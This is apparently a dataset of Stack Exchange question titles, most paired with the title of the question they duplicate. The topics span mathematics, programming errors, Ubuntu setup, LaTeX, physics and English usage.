If $n$ is an even natural number then $2^{n-1}$ is divisible for $2^{\varphi(n)}$?

How to show that if $\phi(n)$ equals to n itself, then n must be 1?


Given analytic function $f$, why is $f: (w,z) \mapsto (f(z)-f(w))(z-w)^{-1}$ continuous?

Proving a function is continuous for a fixed variable


Does a gap of 10 months after Master's degree affect my chances for a future academic career?

Will taking a gap year after my Master's degree improve or degrade my potential of doing a PhD?


can't multiply sequence by non-int of type 'float' in multiply array and e-6

Why do I get TypeError: can't multiply sequence by non-int of type 'float'?


How do I limit the number of rows returned by an Oracle query after ordering?


Partition of N into infinite number of infinite disjoint sets?


What do __intit__ ,__name__ and __main__ do?

What does if __name__ == "__main__": do?


Action Bar producing NullPointerException

What is a NullPointerException, and how do I fix it?


apt-get update command not working from xenial local mirror

Unable to Install package from Ubuntu Xenial local repo


How is the range of Google Maps new drive time feature defined?

How accurate is Google Maps for travel times?


In a dict of dicts, how do you emulate Perl's auto-vivification behavior?

What is the best way to implement nested dictionaries?


What is the difference between Views and Materialized Views in Oracle?


ASP Classic SQL Query error message, right syntax please


NullPointerException When RecyclerView item is clicked null object reference


Allowing for overflow on the y-axis while hiding overflow on the x-axis

overflow-y:visible not working when overflow-x:hidden is present


How many elements of order 5 are there in $S_7$

Elements of order 5 in $S_7$, odd permutations of order 4 in $S_4$, and find a specific permutation in $S_7$


Find all values for a and b where the series converge?


Is there a way to export the built in textures as a UV map?

How do I bake a texture using Cycles bake


Number of real or purely imaginary solution

The real or purely imaginary solutions of the equation, $z^3+iz-1=0$ are?


How to limit download/upload speed for specific users?

How do I control the upload/download bandwidth per user?


Unable to install MiKTeX distribution in Windows


Can multiclass druids prepare & cast Druid spells of any level that they have a spell slot for?

Can a multiclass character with 1 level of wizard copy any wizard spell they find into their spellbook?


How to remove Ubuntu and put Windows back on?


How to get the difference of two maps based on the key set?

What is the best way get the symmetric difference between two sets in java?


What is the word for the order of succession in which son assumes the throne after father?


How do I split a string with multiple separators in JavaScript?


What is the height of a man walking away from a street light 12 ft high, if his shadow is moving twice as fast as he is?

Simple related rates derivative question


destructing an object stored in the vector of pointers

Does std::list::remove method call destructor of each removed element?


How do I force Postgres to use a particular index?


How do I make an exact copy of a table, but keep its number for referencing?


Looking for a YA book series about teenagers who are the only ones to survive hypersleep

Teens stranded in eco-system within alien ship, fighting for survival


What home printer would allow for exact alignment of front and back?


Where can I get the latest Ubuntu Alpha or Beta?


Is the Subjunctive Mood always a conditional statement?


Best Practices in Username Standards: Avoiding Problems


Python: Call method by instance object: "missing 1 required positional argument: 'self'"

TypeError: attack() missing 1 required positional argument: 'self'


Logging out of Stack Overflow or any Stack Exchange site?


Why $\omega<2^{\omega}$ but $\omega^{\omega}\sim\omega$?


Unable to mount Windows (NTFS) filesystem due to hibernation


What is the difference between backticks and $() in bash script?

What is the difference between $(command) and `command` in shell programming?


'the' usage : used to mark a noun as being used generically

A query about the use of Generic Reference with nationalities


Give an example of a nonabelian group in which a product of elements of finite order can have infinite order.

Example of a group where $o(a)$ and $o(b)$ are finite but $o(ab)$ is infinite


Clone a database from SQL Server 2019 to 2017

Restoring a backup to an older version of SQL Server


remove_action not working, even after changing priority

remove_action or remove_filter with external classes?


How do I add an external dll to my VS2019 project?


Official StackExchange app says my question is not available?


Firefox download stops while screen locks

How do I set it so that my computer won't go into auto-standby/sleep mode while Opera is downloading?


How to use LyX to create PDF file from the command line


Java/Android- Convert InputStream to string

How do I read / convert an InputStream into a String in Java?


Getting NullPointerException while Overriding equals method of Object class in subclass

What is a NullPointerException, and how do I fix it?


Complex numbers: How to solve the "contradiction"?


How do I check if an array includes a value in JavaScript?


Ubuntu recovery mode impossible on lubuntu 18.04.1


Is there a script that reads a TeX file and replaces every instance of a \newcommand?


Let $G$ be Abelian. Then any subgroup of $G$ is normal. Does the converse hold?

Which non-abelian finite groups have the property that every subgroup is normal?


Outlook signatures location suddenly changed

How to set Outlook 2010 to use signatures outside of the default signature folder?


Change plot panel in multipanel plot in R

Plot to specific plot in multiple-plot window?


Replace image/texture option not available?


Bibtex: cite-key instead of question mark if not found

Replace unknown reference (?) with the tag from \ref or \cite


How come $32.5 = 31.5$? (The "Missing Square" puzzle.)


Issue with onbeforeunload event handling in firefox


Executing a previously executed While Statement after prompting user for action


How do I install Ubuntu on a USB Flash Drive?

How do I install Ubuntu to a USB key? (without using Startup Disk Creator)


Need to create a separate partition after installing Ubuntu


Checkbox function to automatically add to total

Is it possible to add a checkbox/button equivalent?


how to end connection in java socket with "good buy" message


Why does ```doub(int x)``` not change the actual value of the int x?

What's the difference between passing by reference vs. passing by value?


Problems with two fxml files and controllers in JavaFX

What is a NullPointerException, and how do I fix it?


Language design question: why do C and C++ separate the declaration of types and functions from the definitions?


Ubuntu 15.10 does not recognize Atheros 0041 wireless card

My wifi Qualcomm Atheros Device [168c:0041] (rev 20) doesn't show up and work in Ubuntu 14.04.3 on Lenovo flex 3 14


How to create a node at the exact midpoint of a segment in Inkscape?


What is the "rate" of the "passage of time"? How does a physicist define and measure time?

What is time, does it flow, and if so what defines its direction?


Cant find jre folder after installing jdk-10.0.1


Barcode scanning doesn't work if barcode reader app not installed

Embed Zxing library without using Barcode Scanner app


What should I consider when I invite colleagues to SE?

How to vote on friends / colleagues ' questions (or answers)


Using a mid 2010 27" iMac as a second screen for a mid 2015 27" 5k iMac

What are the requirements to use iMac screen as a second monitor - Target Display Mode?


Getting values from checkboxes using javascript

How to retrieve checkboxes values in jQuery


Show that $\mathbb{T}^1 \cong \mathbb{C}^*/\mathbb{R}_{>0}$


Why is the interline space not as expected?


Elegant way to convert Set into String for Dynamic SOQL IN comparison


What should be the criteria to select features using correlation factors between features?

How to further improve the kaggle titanic submission accuracy?


Why can't I find my Samum bombs in my inventory?


How to pass parameters to setTimeout function

How can I pass a parameter to a setTimeout() callback?


Ubuntu 16 Kernel BUG (“Oops: 0000 [#1] SMP”) related to amdgpu


Understanding when to use the stack memory and when to use heap memory while programming?

When is it best to use the stack instead of the heap and vice versa?


Simple Past vs. Present Perfect: "was" vs. "has been"


Remove Element from Object list using JavaScript

How do I remove a property from a JavaScript object?


Insert a row to beginning or ending of a 2D array PHP

How to insert an item at the beginning of an array in PHP?


HTML text input allow only numeric input


Can I set a hook using API on public repo owned by someone else?

How to create a post-service hook on a public github repository?


Show the $\sum_{k=1}^{\infty}1/k(\log k)^{1+\epsilon}<\infty.$

series convergence with comparison test $\frac{1}{n\log(n)^p}$


What is the correct way to use infinitive after the verb "help": with or without "to"?


$\textbf Z[\sqrt{pq}]$ is not a UFD if $\left( \frac{q}p \right) = -1$ and $p \equiv 1 \pmod 4$.

Why isn't $\mathbb Z [\sqrt{pq}]$ a factorial domain


How can i fix the .NullPointerException error without code errors?

What is a NullPointerException, and how do I fix it?


Is it possible to assign the same value to multiple keys in a dict object at once?


How to use If Else for check validation is number in Javascript

(Built-in) way in JavaScript to check if a string is a valid number


Keychain won't let copy passwords after 10.11.1 update


In quantum mechanics, how exactly do we associate Hermitian operators to classical observables?

How to promote algebraic expressions to operators in quantum mechanics?


How to use setInterval and clearInterval?


Assigning an element of a pointer to another element from the same pointer

Why do I get a segmentation fault when writing to a "char *s" initialized with a string literal, but not "char s[]"?


Is it safe to give credit card first 6 numbers+ last 4 over email?

Credit Card Security: First six + last four digits


"There Is"/"There are" depends on plurality of the first list element or not?


How to check if one of the words in an NSString starts with a certain string?

Regular expressions in an Objective-C Cocoa application


How to check if schema already created in mongo db?

Node.js - Mongoose - Check if a collection exists


created event is triggered file has not finished to be written

FileSystemWatcher Changed event is raised twice


How to align text in TikZ nodes by baseline?


I can't see sort options in stackexchange sites when not logged in

Guest (not logged in) users can only sort questions with specific tag by newest


Illustrator - Problem with Vector Graphics when I resize it

Illustrator CC: Turn off align objects to pixel grid


When should compound words be written as one word, with hyphens, or with spaces?


where does the energy for capillary action come from?

Capillary action and conservation of energy


Event binding on dynamically created elements?


How do I find the tangent line of the following hyperbola, given that the tangent line has to go through the point $(0, 0.08)$?

how to maximize the slope in order to find the tangent line of hyperbola from a point?


Failed to load viewstate composite control

Failed to load viewstate. The control tree into which viewstate is being loaded


Do we have a better approximation of $c$ than 299792458 m/s?

Why does the speed of light in vacuum have no uncertainty?


How to change the text in a Popup Window TextView?

What is a NullPointerException, and how do I fix it?


Effect of class imbalance on logistic regression (mathematical basis)

Does an unbalanced sample matter when doing logistic regression?


Determining how much battery life/power is left on your current charge in iOS


Getting broken hero swords in Terraria mobile

Is there any way to increase the drop rate of items?


Does using a draconic sorcerer's Draconic Presence break concentration for a spell?

Can you concentrate on a special ability while also concentrating on a spell?


How to install the sims 3... starter pack?

How can I install Windows software or games?


How to solve date and time problem in a system with both Windows 8 and Ubuntu?


Finding & correcting missing layer in MXD using ArcPy?

Use arcpy.mapping to list broken data layers?


How does a microcontroller provide a frequency higher than its crystal frequency?

How does an ARM MCU run faster than the external crystal?


How to concatenate a std::string and an int?


Null object reference in Firestore/ firebase on null Object reference Line with (firestoreDB.collection("Recipes"))


There is a measurable set $E \subset [0,1]$ such that $0 < \frac{m(E \cap (a,b))}{b-a} < 1$

Construct a Borel set on R such that it intersect every open interval with non-zero non-"full" measure


mysqli_fetch_assoc() expects parameter / Call to a member function bind_param() errors. How to get the actual mysql error and fix it?


Prove that between every two rational numbers a/b and c/d that there is a rational number and there are an infinite number of rational numbers

Is there a rational number between any two irrationals?


Is $0.\overline{0}1$ a valid repeating decimal?

Does $1.0000000000\cdots 1$ with an infinite number of $0$ in it exist?


Concerting char* to string to be read into file?

How to convert a std::string to const char* or char*


In $E=hf$, can $f$ assume any positive value? (Beginner)

Is the electromagnetic spectrum discrete?


How to cut off all the white spaces from String?

Removing whitespace from strings in Java


Abstract, Interface, Classes OH MY - Question on Approach


I don't know what make my app stopped unfortunately

What is a NullPointerException, and how do I fix it?


what happens when an item is deleted from a javascript array

Deleting array elements in JavaScript - delete vs splice


What causes this behavioural difference between C and JavaScript?


How to access something at a known memory address?


$f$ irreducible plus $(x-\alpha)| f$ and $(x-\alpha)|f'$ implies $f|f'$

GCD in polynomial rings with coefficients in a field extension


How do you get assembler output from C/C++ source in gcc?


Attempt to invoke virtual method 'android.view.View androidx.recyclerview.widget.RecyclerView.findViewById(int)


Spring mvc: jsp failed to access to css file

Why does Spring MVC respond with a 404 and report "No mapping found for HTTP request with URI [...] in DispatcherServlet"?


how to add label to matrices multiplication

Problem putting matrix operations in an equation


Select objects within radius using longitude and latitude

SQL Query for Performing Radius Search based on Latitude Longitude


What are pre-print repositories for math and physics alternative to ArXiv?

Preprint services other than arXiv (for other fields)


Showing $e^\Omega = \sum_{n=1}^\infty \frac{\Omega^n}{n!}$ for non-diagonal matrix $\Omega$

Operator Exponential $e^A e^B = e^{A+B}$


What is the difference between web-crawling and web-scraping?


Probability of drawing balls with different colours

Probability distribution in the coupon collector's problem


Do I need 2 normal maps to solve this issue?

Combine two normal maps and control the strength of each


Why isn't this very simple JQuery working?

Register On-Click Event with jQuery - Not Firing


How can I donate to Ubuntu without PayPal?


link to another answer from within your answer (on the same post)

Please make links to other answers in the same question link to the anchor instead of the full URL


How to store values in dictionary in decrement order by values in java?


The program crashes when the button is clicked. I provide the log

What is a NullPointerException, and how do I fix it?


How can I pass a parameter to a Java Thread?


How can I convert ereg expressions to preg in PHP?


How to find the address of default gateway and the local address facing towards it?


A confusion about the Monty Hall problem

What's wrong with this equal probability solution for Monty Hall Problem?


Creating while loop in Java when making menus


Cant get multi-line look ahead regex to work in grep / pcregrep

How do I match any character across multiple lines in a regular expression?


Probability of a set permutation without matching contiguous pairs


Could SUSPEND work on Ubuntu with AMD Ryzen 5 4500U + Radeon graphics?


Correct Syntax to change default Screenshots and Screencapture save location?

How do I change the location of macOS screen captures?


Items in JSON object are out of order using "json.dumps"?


Show that any zero trace matrix is similar to a null diagonal matrix.

If $\mathrm{Tr}(A)=0$ then $T=R^{-1}AR$ has all entries on its main diagonal equal to $0$


No non-trivial clopen sets in $\mathbb{R}$? How to give a direct proof?

If a nonempty set of real numbers is open and closed, is it $\mathbb{R}$? Why/Why not?


How to prevent duplicate Usernames in php/mysql

How to prevent duplicate usernames when people register?


How come PK/Alien realizes that Sarfaraz did not write the letter?


What's the difference between FQDNs and Hostnames

What is the difference between a hostname and a fully qualified domain name?


Change "I hate hats" to an opt-in approach on ALL sites (not only on SO)

Why do I have to hate hats in order to opt out of Winter Bash?


To merge list's members with differing number of rows

Simultaneously merge multiple data.frames in a list


Is there an online, guest-friendly, and sharable latex editor? (an equivalent to Jsfiddle for web development)


Admission to graduate school for physics

How does the admissions process work for Ph.D. programs in the US, particularly for weak or borderline students?


How do you find the sum of all the numbers in an array in Java?


Unable to access Windows7 partition after updating Windows

Unable to mount NTFS external hard drive


How to change font type faces in table row?


what is the correct way to centre align a series of wrapping images?

How to float elements left or right of a horizontally centered element?


Is there any way to open an OST file for extraction of info?

Is there any way to "restore" a .pst (Outlook Personal Folder) or .ost (Offline Folder file)?


Are there any specific examples in Lord of the Rings that are influenced by WWII?

How much did Tolkien write about the connection between WWI and his work?


Workspace with two display issue on 17.10

How can I make gnome-shell treat both monitors in the same way?


How java references work when passing method parameters

Is Java "pass-by-reference" or "pass-by-value"?


Correlation between different types of variables( categorical/numerical) and a binary categorical one output

Correlations with unordered categorical variables


How to create a foreign key to multiple tables?

Possible to do a MySQL foreign key to one of two possible tables?


Android error using json Caused by: java.lang.NullPointerException

What is a NullPointerException, and how do I fix it?


"Today is one of my friends' birthday."or"Today is my friend's birthday."

Plural possessive with separate possessions


MySQL - count where id contained in a string


Normalization of basis vectors with a continuous index?


functions with const arguments Overloading ( Follow up)


PHP - header('location:profile.php'); not working

How to fix "Headers already sent" error in PHP


Why is the plural of "quiz" spelled with double Z?


Adjust font size in QGIS Open Layers Plugin

How to improve OSM layer resolution in OpenLayers plugin while exporting?


Where does Chrome gets its list of certificate authorities from?


Isomorphic free groups $F(A),F(B)$ induce bijective sets $A \cong B$

free groups: $F_X\cong F_Y\Rightarrow|X|=|Y|$


Duplicate, submitted URL not selected as canonical

What is the solution for "Submitted URL not selected as canonical" in Google Search Console beta?


Demand $z=x+y$ and $x^2/4 + y^2/5 + z^2/25 = 1$. What is the maximum value of $f(x,y,z) = x^2+y^2+z^2$?


Do other planets and their government learn who Princess Leia of Alderaan's biological father is?

After Darth Vader was killed, did Luke tell anyone that he was his father?


Rounding a decimal without fractions doesn't add fractions

How do I display a decimal value to 2 decimal places?


How to see list of questions I have edited?

Is it possible to see a list of all my edits using a query?


I want to uninstall Wine from Ubuntu. How can I do that?


shell: delete the last line of a huge text log file

Remove the last line from a file in Bash


How to calculate the resistance (conductance) between two contacts embedded into a 3D object?

Resistance between two points in an infinite metal sphere/cube


VirtualBox error after last (Ubuntu) Software Update


3 plus symbols between two variables (like a+++b) in C


do I pay for multiple downloads of paid apps?

Can bought Android apps be shared between devices you own?


How to get perfect UV sphere Mercator projection?


Does there exist an infinite $S \subset \Bbb R^3$ such that any three vectors in $S$ are linearly independent?

There exist an infinite subset $S\subseteq\mathbb{R}^3$ such that any three vectors in $S$ are linearly independent.


Does the comma go inside or outside the end quote when the subject speaks and then does an action

Placement of comma before quotation mark


What exactly does the *frequency* of a photon mean?


Fantasy book help, read back in the early 1990's

Childrens fantasy, blind monk leading boy who can control the elements


Close button on question page on mobile version of SO has recently stopped functioning

Close and flag links do nothing on mobile site


How do I create this graph to show a whole sphere spiral and not just half?

How to plot a spherical spiral in Mathematica?


Good book recommendations on trigonometry


What's the difference between the two C++ allocation methods

In what way is ::operator new[]() different than ::operator new()?


17.04 Display scaling reverting to 1 after resume from suspend?


Windows 10 Power Issues (Sleep and Shutdown)

How to see what's going on during Windows shutdown/logging off process?


Root drive is running out of disk space. How can I free up space?


Vertical alignment of text based on image height

Align images with text without using tables


Ubuntu - Some one is able to write on ubuntu/apache server

How do I deal with a compromised server?


How to handle a player who tries to actively use the Insight skill

How to use, and not to overuse, Insight skill checks?


How could light from a TV screen refract when viewed through a helmet's transparent visor?

Why do everyday plastic items interfere with light polarizers?


Internal energy for a diatomic gas that undergoes an adiabatic process?


I am living in UK and using money earned outside of UK

Money from my parents from abroad to my bank account in UK


What color would you see if you place 2 mirrors in opposit when one is a one way mirror


Advertisment in Chrome and Firefox for google-search - Malware?

How can I remove malicious spyware, malware, adware, viruses, trojans or rootkits from my PC?


Is it possible for Superman to have sex in a red sun chamber?

How have Superman comics dealt with the Man of Steel, Woman of Kleenex problem?


C Library Function Actual Implementation

Where can I find the source code of Ubuntu?


Does a Ghana citizen need $3000 in hand to travel to the USA?

My online friend is asking for money in order to visit my home country. Is this a legit request or a scam?


How long will a refrigerated risotto stay safe to eat?

How long can I store a food in the pantry, refrigerator, or freezer?


Why do people grunt while playing tennis?

If grunting is not related to performance, why do tennis players do it excessively?


How does "this" keyword work within a function?


node.js is there any proper way to parse JSON with large numbers? (long, bigint, int64)


How to disable mouse right click on a web page?

How do I disable right click on my web page?


rename wordpress wp-includes folder in directory


How can I find which operating system my Ruby program is running on?


mutual information of two identical signals

Why would perfectly similar data have 0 mutual information?


Can one design neural networks to learn the ReLU activation function itself?


How to add my own images to the views slide show?


When ANY is modified by a prepositional phrase that is plural, is the verb singular or plural?

Should the noun after "any" be singular or plural?


How can I improve my dribbling skills and my ball control for soccer?


Interesting integral related to the Omega Constant/Lambert W Function


Apply different textures to faces of an object

Add different materials to different parts of a mesh?


I downloaded the ubuntu iso and burnt to CD, I have folders but there was no front end to install the program on my system. How do I load it?


Sacrificing a creature - Magic the gathering

Can I sacrifice an opponent's creature to Shadowborn Demon?


Why are mortgage refinance interest rates higher than purchase interest rates?

Is there precedent for mortgage rates being higher for a refinance than a purchase?


Why are unidentified people called John Doe?

“John Doe”, “Jane Doe” - Why are they used many times?


latex csvreader table wrap cells with long strings


Stress tensor: forces on the other three faces of the infinitesimal cube

Why is 3D stress tensor acting only on three surfaces?


How can I split this comma-delimited string in Python?


I@49d67b41 prints when trying to print a 2d array

Java arrays printing out weird numbers and text


Modular formula for binomial coefficients?

${n \choose k} \bmod m$ using Chinese remainder theorem?


CSS - center div with respect to document


Can two solids, a human and a wooden desk, using only human muscular power to close the distance, actually physically touch at the atomic level?

What does it mean for two objects to "touch"?


How can I replace a string in a file(s)?


How concatenate a string and a const char?


Please explain this Javascript closure exercise


Include API key as a URL query parameter via a Named Credential

Can I use Named Credential merge fields as URL parameters on the endpoint?


How does transmission-daemon work ? Download don't seem to start


Here is a design for a RGB color mixer. Is it fine, or did I mess up somewhere? Is there room for improvement?

Design review - RGB LED color mixer using PWM


Calculating adjoint representation of Lie group/algebra

Solving the Lie algebra of generators: path from algebra to matrix representation


What's the difference between Name and CanonicalName?

What is the difference between canonical name, simple name and class name in Java Class?


What does if __name__ == "__main__": do?


how to make keyboard shortcuts work while in another language

Ctrl -C, Ctrl -V not working in different keyboard layout


Expected value of E(exp(1/X)) where X~N(0,sigma_x)

I've heard that ratios or inverses of random variables often are problematic, in not having expectations. Why is that?


Mac mini 2018 problem with USB pen drive

USB-C Dongles killing Wifi on 2016/2017 MacBooks – Who’s to blame?


How to add values to an existing enums outside of the class in java

Can I add and remove elements of enumeration at runtime in Java


If $F^p = F$ and $E/F$ is algebraic, then $E/F$ is separable and $E^p = E$ : Corollary V.6.12 from Lang's *Algebra*

Every algebraic extension of a perfect field is separable and perfect


show that $\lim_{x\to \infty} \frac {e^x}{x!} = 0$

Prove that $\lim \limits_{n \to \infty} \frac{x^n}{n!} = 0$, $x \in \Bbb R$.


Getting NullPointerException when trying to create RMQSink on Flink

What is a NullPointerException, and how do I fix it?


Ubuntu has been installed but computer still boots into windows

How do I install Ubuntu alongside a pre-installed Windows with UEFI?


calculus on manifolds (spivak) problem 2-41 (c)

Computing $\max_{1/2 \leq x \leq 2} ( \min_{1/3 \leq y \leq 1} f(x,y) )$ where $f(x,y) = x(y \log y - y) - y \log x$.


How to convert an special hex character from an html page in bash?

Decoding URL encoding (percent encoding)


Where can I locate source code of Drupal 1.0 or earlier version?

Where can I download old releases of Drupal?


Travelling to using two passports where one is not ok with dual citizenship

I have two passports/nationalities. How do I use them when I travel?


Unbounded continuous function on non-compact metric space

Existence of a continuous function which does not achieve a maximum.


Is getting a second masters frowned upon?


“ into the driveway” or “ onto the driveway“?


If SE site foo.com exists, could foo.stackexchange.com redirect to it?

Can we have *.stackexchange.com aliases for sites that have their own domain names?


Why does the exif data show a max aperture 1.6 when I am using a f/1.8 lens?

How can the aperture value written in Exif be larger than the nominal limit of the lens?


How is $\mathrm dU=C_V\,\mathrm dT$ always true?

$\Delta U$, $C_p$, $C_v$ for an ideal gas process


Want to build my own Ubuntu from source code

How to create a Customized Ubuntu Server ISO?


Is the series $\sum 1/p$ in which p is prime converges?

Does the sum of reciprocals of primes converge?


What data type, scheme, and how many bits should be used to store a FOREX price?

Best way to store currency values in C++


Cruise ship in the Schengen area: How would the following add up

Cruise ship in the Schengen area: Do the days spent at sea count toward the limit for short visits?


USB flash drive not working or is appearing as an empty disk drive, Disk Management reports "No Media" with 0 bytes size


Restrict access to hdd or partition in windows 8 to admin only


What are good basic statistics to use for ordinal data?


which preposition should I use with "elaborate"


If a function is measurable, then so is its absolute value.

Absolute value of a measurable function is measurable


How to create a launcher for Wine in Ubuntu 14.04 LTS?

How does one create a custom application launcher for Wine installed apps?


Under the Visa Waiver program, can I leave by land in transit to Guatemala?

I'm arriving to the US by air, but departing via land. How do I end form I-94 now that it is only electronic?


issue on EPSON printer (Dot Matrix Printer)…?

DOS commands for Epson dot matrix not working


deleting the specific file in a directory and all sub directories


Can someone help me please? it is about width of the table

How can I make a long and wide table fit the text width?


How prove this $\int_{a}^{b}[f''(x)]^2dx\ge\dfrac{4}{b-a}$


Why are all the textures in my file pink?


Connecting to an Apache Derby/JavaDB database using Oracle SQL Developer

How to use SQLDeveloper to connect to embedded Derby database


Uniqueness of a function $F:CW \to \Bbb Z$ satisfying some rules

Assigning integer to finite CW complex such that following hold.


Android Sqlite -Create Table and Inserting data to it

When does SQLiteOpenHelper onCreate() / onUpgrade() run?


distance between a line and a point vector formula


How do you do AppBar docking (to screen edge, like WinAmp) in WPF?


Implode an array with ", " and add "and " before the last item


Cannot change directory from within shell script

Why can't I change directories using "cd" in a script?


How to get the number of days of difference between two dates on mysql?


android.widget.Button.setOnClickListener(android.view.View$OnClickListener)' on a null object reference

What is a NullPointerException, and how do I fix it?


System Monitor Says 4 CPUs but Specs say 2 CPUs

Why is my dual-core CPU recognized as a quad-core one?


How to download and install an add-on hosted on github properly?


Does Google treat websites with different port as different website?

Does Google treat different ports as different sites?


How to use Parameter in SQL WHERE clause?


How do I find out what files a process is writing to?

Tracking disk I/O by application in Windows?


How can I get the console logs from the iOS Simulator?


How to prevent wifi login screen from overwriting tabs in a browser

How to avoiding losing your current browsers websites when being redirected by wireless login pages


Using stackoverflow data to look at trends in technology usage

Introducing the Stack Exchange Data Explorer aka SEDE


How to move multiple folders to another directory?

How to move multiple files at once to a specific destination directory?


Can I use command line to clean HDD during the installation of Debian Linux?


Book with boy with one different colored eye


What exactly do I lose when using extern "C" in C++?

What is the effect of extern "C" in C++?


Error message "E: unable to locate package firmware-b43-installer"


Is it possible to mark a PPA as "do not upgrade"?

How to prevent updating of a specific package?


Tamil Font not supporting in Facebook and tamil websites

How to make an Android device to display complex rendering of Indic characters?


CustomSquare layout null pointer exception

What is a NullPointerException, and how do I fix it?


I keep getting an "Exception in thread "main" java.lang.NullPointerException" in my code


Is there any neural network whose output can be probabilistic, just like multi-class logistic regression?

Neural networks output probability estimates?


regular expression for multi-line comments in code file

Regex to match a C-style multiline comment


Reasons why not to update an Ubuntu version to a newer/older kernel version

Should I upgrade to the "mainline" kernels?


For all $n>2$ there exists a prime number between $n$ and $ n!$


What will affect the value of Young's modulus?

What factors affect the Young's modulus of elasticity?


How do I recover lost/inaccessible data from my storage device?


403(b) and ROTH IRA contribution and rollover


Is it possible to autosave as docx and pdf at the same time?


Error!: too much resource data, max allowed


remove software on Kubuntu with apt command


Recommendation for contra-variant and contra-variant vectors in the context of special relativity

Textbook on the Geometry of Special Relativity


Combining rotation (using Quaternion* Quaternion) doesn't work as expected

I'm rotating an object on two axes, so why does it keep twisting around the third axis?


@ as a technical term, not a notification marker, in comments

Using @ signs in comments without invoking comment replies?


What is the difference between "-" and "--" in text mode?


Black holes and positive/negative-energy particles


If tag only changes are too minor don't allow them to be made


How to iterate on the field of an enum in Java?

A 'for' loop to iterate over an enum in Java


Does apt-get upgrade also update all the programs?

What is the difference between apt-get update and upgrade?


How did I get the "Unachievable" achievement?

Is it possible to achieve the "Unachievable" achievement in "The Stanley Parable"?


How does one use the store parameter of function fields?


Moving cards between active and available states

Event binding on dynamically created elements?


Show StackStatus updates on readonly homepage

Add links to official status pages in the read-only mode status message


How to avoid unpacking from Language`ExtendedFullDefinition


Is it going to make any difference if a function is declared static or non static if the fields in it are static?


Minecraft: Is there a way to activate command blocks even if you're not within range?

How can I make my far away command blocks work


How to add a document class to TexStudio?


How do I use global variables in python functions?


How do I validate phone numbers using regex in php?

How to validate phone numbers using regex


Light, is it a photon or electronic magnetic radiation?

What is the relation between electromagnetic wave and photon?


Why is this if statement not performing how I want it too?


Does macOS have a command to retrieve detailed CPU information like /proc/cpuinfo on Linux?

How do I identify which CPU a MacBook uses?


For $n\geq2$, prove that $A_n$ is the only subgroup of $S_n$ with index two.

Proof that $A_n$ the only subgroup of $ S_n$ index $2$.


What's the difference between SFTP, SCP and FISH protocols?


Separate labels in dcases lines and then reference to them


Extract only the filename from a string that contains  tag


Transparent/Invisible Mesh in Blender 2.8

AMD GPU Material in "material preview mode" and "rendered mode", is entirely gray as background. Only outline is displayed


Should I use $\hat{i}$ or $\vec{i}$ when writing out a vector in full?

Unit vector notation - both line and hat?


iOS: UIScrollView doesn't scroll down to bottom of its subviews


Set an out-of-office message in Lotus Notes


JavaScript closures. Access in loop to current i, j variables

JavaScript closure inside loops – simple practical example


Add LaTeX with version number to LaTeX document

Macro or package for typesetting "LaTeX" (the name)?


Hide or collapse individual comments in chat


Is there a direct link to create and open a new Google Sheet?

Save a link to create new document in Google Docs


Bolding Text String Not Working in ArcMap

Using Label Expression with Text Formatting Tags and Ampersand


Proving $\{a+b\sqrt{-7}, a,b\in\frac{\mathbb{Z}}{2}\}$ is a euclidean domain

Is $\mathbb{Z} \left[ \frac{1+i \sqrt{7}}{2} \right]$ euclidean?


Can you use an alias in the WHERE clause in mysql?


apt-get install is not working because of dpkg, how to solve

Unable to lock the administration directory (/var/lib/dpkg/) is another process using it?


How to take the files from an old Win10 HDD and connect them to a new Win10 SSD?


Which one is correct: "my little brother" or "my smaller brother"?


Simple harmonic motion in a horizontally accelerating lift

Time period of a pendulum when a constant horizontal force acts


What is the double slash (//) directory?


Fix the regex to support the email examples in wiki using javascript?

How to validate an email address using a regular expression?


How can i add a href button to an elseif statement


`\rowcolor{}` does not color the row in a table


How much are Cricket Umpires paid in India starting from Club level to Ranji, Duleep trophy, etc.?

What is the procedure to become a Cricket Umpire?


Java-How to remove sign '$' from string '$49monthly'

Java - removing first character of a string


How to recover my old Gmail account old Facebook account

How do I recover my Google account (or Gmail) password or username?


mysql_fetch_array()/mysql_fetch_assoc()/mysql_fetch_row()/mysql_num_rows etc... expects parameter 1 to be resource


How can I install Wine software in Ubuntu 17.04?


How to avoid seeing GRUB menu after replacing windows 10 with Ubuntu (Ubuntu is the only OS installed)

How to remove or hide the GRUB boot menu?


Difference between JWE encryption algorithm RSAES-PKCS1-v1_5 and RSAES OAEP

How much safer is RSA-OAEP compared to RSA with PKCS#1 v1.5 padding?


Is there a way to check if a file is in use?


Why is user reputation publicly available?

Hiding reputation and encouraging thinking time would improve the quality of answers on SO


getimagesize fails on certain server on certain image - failed to open stream: HTTP request failed!

trying to turn on allow_url_fopen by putting php.ini in wordpress root does not work


How can I get a debug log for the sites guest user/public profile? [updated for Spring 18]


Large text files load not working on android

how to faster read text file to ArrayList on android


\begin{frame}[] and \section{...} results in multiple sections

Beamer index showing too many titles with overlays


Unity - How can I make my player's gun point at the cursor, not the player itself?

How can I rotate an object based on another's offset to it?


Change Ubuntu 17.04 to Ubuntu 16.04.2 LTS


Difference between meta keys with _ and without _


100% CPU consumption with Adobe Flash videos in Chrome?

Hardware acceleration of Chrome's Flash plugin


How to make the Execution of the javascript in an ajax response page?

jQuery - script tags in the HTML are parsed out by jQuery and not executed


Autowired failed with null result when running test with TestNG and Spring context

What is a NullPointerException, and how do I fix it?


Wifi disconnects abruptly and frequently


My proof that this series sums to log 2,

Sum of the alternating harmonic series $\sum_{k=1}^{\infty}\frac{(-1)^{k+1}}{k} = \frac{1}{1} - \frac{1}{2} + \cdots $


Should I restrain myself from downvoting answers on question where I have answered as well

If I downvote every competing answer, will I get flagged for vote abuse?


Determine name of program which is closed slowly at shutdown

How can I identify the culprit of my slow Windows shutdown?


Is Google Limiting indexed pages per website?

Why aren't search engines indexing my content?


I don't want to render from the Video Sequence Editor

How to switch render source (VSE or Camera)?


Expected result of vertical Michelson-Morley Experiment

A vertical variation of modern versions of Michelson-Morley


What setup code should go in Form Constructors versus Form Load event?


Which focal-length lens is usually used for portrait photography, and why?


Decomposing a matrix with polynomial elements into a polynomial with matrix coefficients


Executing a prepared PDO statement with the like clause

How do I create a PDO parameterized query with a LIKE statement?


Prove that $f(x)$ is a constant function.

Why is every such function constant: $f(x)=f(x^2)$ for $x \in [0,1]$?


`h' float specifier changed to `ht' warning when not attempting to specify a float


Error with OnClickListener on menu item for animation

What is a NullPointerException, and how do I fix it?


mysql multiple unique values per primary key

How is INDEX on Composite Primary Key in mysql?


What's the purpose of an array of same VALUE capacitors?

